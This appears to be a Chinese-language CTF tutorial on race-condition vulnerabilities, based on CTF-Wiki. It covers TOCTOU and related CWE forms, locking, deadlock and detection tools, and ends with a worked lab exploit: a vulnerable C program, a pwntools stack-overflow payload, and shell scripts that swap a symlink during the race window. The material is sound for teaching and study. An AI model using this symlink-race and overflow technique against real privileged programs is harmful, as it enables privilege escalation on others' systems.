- 文档
- 网络安全
- 教程
【免费下载链接】ctf-wiki
Come and join us, we need you!
導讀:條件競爭(Race Condition)是 Linux 用戶態 Pwn 中一類利用「程序執行時序不確定性」展開攻擊的漏洞類型。本文以 CTF-Wiki 中 race-condition 目錄 為主體,系統講解條件競爭的成因與三大成立條件、TOCTOU / 信號處理程序等典型漏洞形式、同步原語與死鎖的防範機制,以及靜態與動態檢測工具;並結合 同目錄實戰題目 的完整源碼與利用腳本,演示如何通過「檢查-刪除-符號鏈接」的競窗攻擊將條件競爭轉化為棧溢出提權。讀完本文,你將掌握條件競爭從原理分析、漏洞識別到實際利用的完整閉環。
概述:什麼是條件競爭
條件競爭是指一個系統的運行結果依賴於不受控制的事件的先後順序。當這些不受控制的事件並沒有按照開發者想要的方式運行時,就可能會出現 bug。這個術語最初來自於兩個電信號互相競爭來影響輸出結果——正如 race_condition.png 所示,同一信號 A 經過不同延遲路徑後與其反相信號匯入與門,由於非門延遲 Δt₁ 與與門延遲 Δt₂ 的存在,輸出端會產生一個極短的矛盾脈衝,這正是「時序差導致非預期結果」的最原始形態。
條件競爭主要出現在以下領域:
- 電子系統,尤其是邏輯電路;
- 計算機,尤其是多線程程序和分佈式程序。
由於目前的系統中大量採用併發編程,經常對資源進行共享,往往會產生條件競爭漏洞。在 CTF 的 Linux 用戶態 Pwn 中,條件競爭同樣是服務端程序(多進程/多線程模型)的高發漏洞,也是從「邏輯缺陷」走向「內存破壞利用」的重要跳板。
條件競爭成立的三個必要條件
在計算機程序層面,當一個軟件的運行結果依賴於進程或者線程的順序時,就可能會出現條件競爭。簡單考慮一下,可以知道條件競爭需要如下的條件:
- 併發(Concurrency):至少存在兩個併發執行流。這裏的執行流包括線程、進程、任務等級別的執行流。
- 共享對象(Shared Object):多個併發流會訪問同一對象。常見的共享對象有共享內存、文件系統、信號。一般來說,這些共享對象是用來使多個程序執行流相互交流的。此外,我們稱訪問共享對象的代碼為臨界區(Critical Section)——在正常寫代碼時,這部分應該加鎖。
- 改變對象(Mutation):至少有一個控制流會改變競爭對象的狀態。因為如果程序只是對對象進行讀操作,並不會產生條件競爭。
由於在併發時執行流的不確定性很大,條件競爭相對難察覺,並且在復現和調試方面會比較困難,這也給修復條件競爭帶來了不小的困難。條件競爭造成的影響同樣多樣:輕則程序異常執行,重則程序崩潰;如果條件競爭漏洞被攻擊者利用的話,很有可能使攻擊者獲得相應系統的特權——這也正是 Pwn 題中其價值所在。
一個直觀的多線程示例
下面這段 C 代碼創建 10 個線程,每個線程對共享的全局變量counter執行counter += 1並打印結果:
#include <pthread.h> #include <stdio.h> int counter; void *IncreaseCounter(void *args) { counter += 1; sleep(0.1); printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter); } int main() { pthread_t p[10]; for (int i = 0; i < 10; ++i) { pthread_create(&p[i], NULL, IncreaseCounter, NULL); } for (int i = 0; i < 10; ++i) { pthread_join(p[i], NULL); } return 0; }一般來說,我們可能希望按如下方式輸出——每個線程依次看到遞增的計數值:
➜ 005race_condition ./example1 Thread 1859024640 has counter value 1 Thread 1841583872 has counter value 2 Thread 1832863488 has counter value 3 Thread 1824143104 has counter value 4 Thread 1744828160 has counter value 5 Thread 1736107776 has counter value 6 Thread 1727387392 has counter value 7 Thread 1850304256 has counter value 8 Thread 1709946624 has counter value 9 Thread 1718667008 has counter value 10但是,由於條件競爭的存在(counter += 1的「讀-改-寫」三步並非原子操作),最後輸出的結果往往不盡人意——多個線程讀到了同一個舊值:
➜ 005race_condition ./example1 Thread 1417475840 has counter value 2 Thread 1408755456 has counter value 2 Thread 1391314688 has counter value 8 Thread 1356433152 has counter value 8 Thread 1365153536 has counter value 8 Thread 1373873920 has counter value 8 Thread 1382594304 has counter value 8 Thread 1400035072 has counter value 8 Thread 1275066112 has counter value 9 Thread 1266345728 has counter value 10注意:代碼中的sleep(0.1)只是加大了線程被調度器切換的概率,讓競爭更容易被觀察到;即使去掉它,非原子的讀-改-寫序列依然會造成數據競態(data race)。
競爭產生的根源:Check 與 Use 之間的「時間窗口」
仔細思考條件競爭為什麼會發生,可以用下面這個模型來概括:
- 程序首先執行了 action1,然後執行了 action2。其中 action 可能是應用級別的,也可能是操作系統級別的。正常來說,我們希望程序在執行 action2 時,action1 所產生的條件仍然是滿足的。
- 但是由於程序的併發性,攻擊者很有可能可以在 action2 執行之前的這個短暫的時間窗口中破壞 action1 所產生的條件。這時候攻擊者的操作與 action2 產生了條件競爭,所以可能會影響程序的執行效果。
所以問題的根源在於:程序員雖然假設某個條件在相應時間段內是滿足的,但條件往往可能在這個很小的時間窗口中被修改。雖然這個時間間隔可能非常小,但攻擊者仍然可以通過執行某些操作(如計算密集型操作、DoS 攻擊)使受害機器的處理速度相對變慢,從而人為拉大競窗、提高競爭成功率——這在後續的實戰利用中會反覆體現。
常見形式
常見的條件競爭有以下幾種形式,均對應 MITRE 的 CWE 編號,可作為漏洞分類與題目識別的依據。
CWE-367:TOCTOU 條件競爭
TOCTOU(Time-of-check Time-of-use)指的是程序在使用資源(變量、內存、文件)前會先進行檢查,但是在程序真正使用對應資源之前,該資源卻被修改了。
TOCTOU 是 CTF 中最常見的條件競爭形態,下面的 CWE-365、CWE-363 都是它在特定場景下的具體變體。
CWE-365:Switch 語句中的條件競爭
當程序正在執行 switch 語句時,如果 switch 變量的值被改變,那麼就可能造成不可預知的行為。尤其在 case 語句後不寫 break 語句的代碼中,一旦 switch 變量發生改變,很有可能會改變程序原有的執行邏輯(fall-through 方向被篡改)。
CWE-363:允許鏈接跟隨的條件競爭(Link Following)
Linux 提供了兩種對文件的命名方式:
- 文件路徑名:解析時是通過傳入的路徑(文件名、硬鏈接、軟鏈接)間接解析的,傳入的參數並不是相應文件的真實地址(inode);
- 文件描述符:通過訪問直接指向文件的指針來解析。
正是由於路徑名解析的間接性,產生了前面所說的可被利用的時間窗口:程序在訪問某個文件之前會先檢查其存在性與屬性,之後再打開文件執行操作;但如果攻擊者在「檢查之後、真正使用之前」將文件替換為某個符號鏈接,程序就會訪問到錯誤的文件。
這種條件競爭問題的根源在於文件系統中的「名字-對象」綁定問題。下面的函數都會以文件名作為參數,因此都可能成為競窗攻擊的目標:
access()、open()、creat()、mkdir()、unlink()、rmdir()、chown()、symlink()、link()、rename()、chroot()……
如何避免:可以使用fstat函數讀取文件信息並存入stat結構體,再將該信息與我們已知的信息進行比較,判斷是否讀入了正確的文件。其中stat結構體中的兩個變量可以唯一標識一個文件:
st_ino:包含文件的序列號,即 i-node;st_dev:包含文件對應的設備號。
即「先以文件描述符定位對象,再通過 inode+dev 校驗身份」,避免單純依賴可被替換的路徑名。
CWE-364:信號處理程序中的條件競爭
條件競爭經常發生在信號處理程序中,這是因為信號處理程序支持異步操作。尤其是當信號處理程序是不可重入的或者狀態敏感的時候,攻擊者可能通過利用其中的條件競爭達到拒絕服務攻擊(DoS)和代碼執行的效果。例如:如果在信號處理程序中執行了free操作,此時又來了一個信號,信號處理程序就會再次執行free,出現 double free;再稍加操作,就可能達到任意地址寫的效果。
一般來說,與信號處理程序有關的常見條件競爭情況有:
- 信號處理程序和普通的代碼段共享全局變量和數據段;
- 在不同的信號處理程序中共享狀態;
- 信號處理程序本身使用不可重入的函數,比如
malloc和free; - 一個信號處理函數處理多個信號,可能進而導致 use-after-free 和 double free 漏洞;
- 使用
setjmp/longjmp等機制使信號處理程序不能返回原來的程序執行流。
線程安全與可重入
理解信號處理程序漏洞,需要先厘清「線程安全」與「可重入」的關係:
- 線程安全(Thread-safe):即該函數可以被多個線程調用而不會出現任何問題。成立條件為:函數本身沒有任何共享資源;或者有共享資源但已經加鎖。
- 可重入(Reentrant):一個函數可以被多個實例同時運行在相同的地址空間中。
- 可重入函數可以被中斷,並且其它代碼在進入該函數時不會丟失數據的完整性,因此可重入函數一定是線程安全的(但線程安全函數不一定是可重入的);
- 可重入強調的是單個線程執行時,重新進入同一個子程序仍然是安全的;
- 不滿足可重入的典型情況:函數體內使用了非靜態常量之外的靜態數據結構;函數體內使用了
malloc或free;函數使用了標準 IO 函數;調用的函數本身不是可重入的; - 可重入函數使用的所有變量都保存在當前調用棧的函數棧幀(frame)上。
防範:消除競爭窗口
如果想要消除條件競爭,首要目標是找到競爭窗口(race window)。所謂競爭窗口,就是訪問競爭對象的代碼段,它給了攻擊者相應的機會去修改競爭對象。一般來說,如果我們能讓衝突的競爭窗口相互排斥,就可以消除競爭條件。
同步原語
一般來說,我們會使用同步原語來消除競爭條件,常見的有:
- 鎖變量(Lock Variable)
- 互斥鎖(Mutex):在等待期間放棄 CPU,進入 idle 狀態,過一段時間自動重試;
- 自旋鎖(Spinlock):在等待期間不放棄 CPU,一直自旋嘗試。
- 條件變量(Condition Variable):條件變量是用來等待而不是用來上鎖的。它用來自動阻塞一個線程,直到某特殊情況發生為止;通常條件變量與互斥鎖同時使用。
- 臨界區對象(CRITICAL_SECTION):Windows 下的輕量級同步機制。
- 信號量(Semaphore):控制可訪問某個臨界區的線程數量,一般大於 1。
- 管道(Pipe):用於連接一個讀進程和一個寫進程以實現它們之間通信的共享文件,其生存期不超過創建管道的進程的生存期。
- 命名管道(Named Pipe / FIFO):生存期可以與操作系統運行期一樣長。
命名管道的典型用法示範(mkfifo創建、進程間流式傳輸):
# 創建管道 mkfifo my_pipe # gzip 從給定的管道中讀取數據,並把數據壓縮到 out.gz 中 gzip -9 -c < my_pipe > out.gz & # 給管道傳輸數據 cat file > my_pipe死鎖:同步原語使用不當的後果
當同步原語使用得不恰當的時候,進程就可能會出現死鎖(Deadlock)。當兩個或兩個以上的執行流互相阻塞導致都不能繼續執行,死鎖就會發生。其本質是在衝突的執行流中出現了循環等待:循環等待中的每一個執行流都獲得了一個資源,同時試圖獲得下一個資源。
如上圖所示:P1 擁有資源 R2、還需要額外資源 R1 才能運行;P2 擁有資源 R1、還需要額外資源 R2 才能運行,兩邊互相等待而沒有一個能繼續運行。
一般來說,死鎖有以下四個必要條件:
- 互斥(Mutual Exclusion):資源是互斥的,同一時刻只能被一個執行流佔有;
- 持有和等待(Hold and Wait):持有已有的資源,同時等待使用下一個資源;
- 不可搶佔(No Preemption):進程所獲得的資源在未使用完畢之前,資源申請者不能強行奪取,只能由佔有者自行釋放;
- 循環等待(Circular Wait):多個執行流形成循環等待資源的閉環。
而消除死鎖,也就是打破上述四個必要條件中的任意一個。此外,死鎖可能來源於以下原因:處理器速度、進程或線程調度算法的變動、執行過程中不同內存的限制、任何能夠中斷程序執行的異步事件。死鎖一般情況下會造成拒絕服務攻擊(DoS)——這在 Pwn 題目中常被用作干擾正常服務、放大競窗的手段。
檢測:靜態分析與動態分析
條件競爭能否被檢測出來?目前確實有這方面的研究,主要從靜態分析和動態分析兩個方面展開。
靜態檢測
- Flawfinder:目標為 C/C++ 源碼。步驟是先建立漏洞數據庫,再進行簡單的文本模式匹配;缺點是沒有任何的數據流或控制流分析,只能作為粗篩工具。
- ThreadSanitizer:目標為 C++ 和 Go,基於 LLVM 實現,可在編譯期插樁檢測數據競態。
動態檢測
- Intel Inspector:Intel 提供的線程檢查與內存檢查工具,可定位競態與死鎖。
- Valgrind:經典的動態分析框架,其 Helgrind / DRD 工具可用於檢測多線程程序中的競態條件與鎖序問題。
在 CTF 環境中,gcc -fsanitize=thread開啟的 ThreadSanitizer 是最常用的復現與驗證競態的手段,而 Valgrind 則適合對疑似競態的樣例程序做二次確認。
實戰:利用 TOCTOU 條件競爭實現棧溢出提權
理論之外,同目錄的實戰題目 給出了一個完整的 TOCTOU 利用鏈路:通過競窗攻擊將「檢查小文件」與「讀取大文件」錯位,最終以棧溢出劫持控制流。
目標程序源碼
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <unistd.h> void showflag() { system("cat flag"); } void vuln(char *file, char *buf) { int number; int index = 0; int fd = open(file, O_RDONLY); if (fd == -1) { perror("open file failed!!"); return; } while (1) { number = read(fd, buf + index, 128); if (number <= 0) { break; } index += number; } buf[index + 1] = '\x00'; } void check(char *file) { struct stat tmp; if (strcmp(file, "flag") == 0) { puts("file can not be flag!!"); exit(0); } stat(file, &tmp); if (tmp.st_size > 255) { puts("file size is too large!!"); exit(0); } } int main(int argc, char *argv[argc]) { char buf[256]; if (argc == 2) { check(argv[1]); vuln(argv[1], buf); } else { puts("Usage ./prog <filename>"); } return 0; }漏洞分析
程序的基本流程如下:
- 檢查傳入的命令行參數是不是
"flag",如果是就退出(防止直接讀取 flag); - 檢查傳入參數對應文件的大小是否大於 255,是的話直接退出;
- 將參數對應文件內容讀入大小為 256 的
buf。
看似既攔截了flag文件名,又限制了文件大小,buf也剛好能容納最大內容——但這裡存在一個典型的TOCTOU 條件競爭:check()中的stat()與vuln()中的open()+read()之間存在時間窗口。如果我們在程序檢查完文件大小後、真正open之前,把文件刪除並替換為指向一個更大文件的符號鏈接,程序讀入的內容就會超出buf容量,從而產生棧溢出。
利用思路與 Payload
基本思路:目標是獲得flag的內容,只要通過棧溢出覆寫main函數的返回地址即可;通過反彙編與調試可以獲得showflag的地址,進而構造 payload:
➜ racetest cat payload.py from pwn import * test = ELF('./test') payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag']) open('big', 'w').write(payload)'a' * 0x100:填充buf[256];'b' * 8:覆蓋main棧幀中的 saved rbp(或棧上相應位置);p64(test.symbols['showflag']):將返回地址改寫為showflag。
雙腳本競爭攻擊
攻擊需要兩個腳本並行運行:exp.sh負責在競窗內反覆刪除fake文件並建立到big的符號鏈接;run.sh負責反覆執行目標程序:
➜ racetest cat exp.sh #!/bin/sh for i in `seq 500` do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done ➜ racetest cat run.sh #!/bin/sh for i in `seq 1000` do ./test fake done其中exp.sh用於在相應的窗口內刪除fake文件並執行符號鏈接替換,run.sh用於反覆運行目標程序。兩者同時進行時,只要某一次open("fake")恰好發生在「符號鏈接已建立、且指向big」的瞬間,程序就會讀入超長內容觸發棧溢出。
實際效果
➜ racetest (sh exp.sh &) && sh run.sh [...] file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory flag{race_condition_succeed!} [...]從輸出可以看到大量失敗樣本(要麼檢查階段攔截了big,要麼open時文件已被刪除),但最終仍然成功拿到flag{race_condition_succeed!}。成功的關鍵在於sleep 0.000008這個延時參數的選擇——它決定了競窗內替換動作的節奏,需要根據機器性能反覆調試;這也呼應了前文所述:攻擊者可以通過改變自身操作節奏來匹配受害程序的執行時序,提高競爭命中率。
小結
條件競爭是 Linux 用戶態 Pwn 中「邏輯缺陷」與「內存破壞」交匯的典型漏洞類型,其知識體系可總結為:
- 成因:併發執行流 + 共享對象 + 對象狀態被修改,三者缺一不可;
- 形態:以 TOCTOU(CWE-367)為代表,延伸出 switch 競爭(CWE-365)、鏈接跟隨(CWE-363)、信號處理程序競爭(CWE-364)等多種變體;
- 防範:找到並互斥競爭窗口——使用互斥鎖、條件變量、信號量等同步原語,同時警惕死鎖的四個必要條件;
- 檢測:靜態層面的 Flawfinder、ThreadSanitizer 與動態層面的 Intel Inspector、Valgrind 相結合;
- 利用:以「檢查-刪除-替換」的競窗攻擊為代表,可將 TOCTOU 轉化為棧溢出等高危內存漏洞。
後續可進一步閱讀 problem.md 的原始題目說明,並結合本倉庫 stackoverflow 系列 掌握溢出後的控制流劫持技術,形成從條件競爭到完整提權鏈路的閉環。
- 文档
- 网络安全
- 教程
【免费下载链接】ctf-wiki
Come and join us, we need you!
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考